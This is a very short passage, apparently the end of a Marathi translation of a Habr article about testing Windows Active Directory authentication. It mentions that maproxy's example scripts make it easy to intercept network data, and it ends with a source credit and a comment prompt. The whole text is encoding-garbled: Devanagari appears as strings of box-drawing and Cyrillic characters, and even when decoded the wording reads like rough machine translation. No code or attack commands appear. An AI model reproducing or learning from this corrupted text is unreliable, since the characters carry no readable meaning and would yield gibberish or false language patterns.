рддрд┐рд╕рд▒реНрдпрд╛ рд╕рд╛рд░рдЦреНрдпрд╛ рдкреНрд░рдХрд░рдгрд╛рдВрд╕рд╛рдареА, рдХрд┐рдВрд╡рд╛ рд╕реЛрдлрд╛ рд╢реЗрд╡рдЯрдЪреНрдпрд╛ рдХреЗрд╕рд╕рд╛рдареА. рдПрдХ рдорд╛рд░реНрдЧ рдХрд┐рдВрд╡рд╛ рджреБрд╕рд░рд╛, рдорджрддреАрдиреЗ maproxy рдЙрджрд╛рд╣рд░рдг рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЕрддрд┐рд╢рдп рд╕реНрдкрд╖реНрдЯ рдЕрд╕рд▓реНрдпрд╛рдореБрд│реЗ рддреБрдореНрд╣реА рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХрд░рдгреНрдпрд╛рдЪреНрдпрд╛ рддреБрдордЪреНрдпрд╛ рдХрд▓реНрдкрдирд╛ рддреНрд╡рд░реАрдд рдЕрдВрдорд▓рд╛рдд рдЖрдгреВ рд╢рдХрддрд╛.

рд╡рд┐рдВрдбреЛрдЬ рдПрдбреА рдордзреНрдпреЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдпрдВрддреНрд░рдгреЗрдЪреА рдЪрд╛рдЪрдгреА рдХрд░рдгреЗ

рд╕реНрддреНрд░реЛрдд: www.habr.com

рдПрдХ рдЯрд┐рдкреНрдкрдгреА рдЬреЛрдбрд╛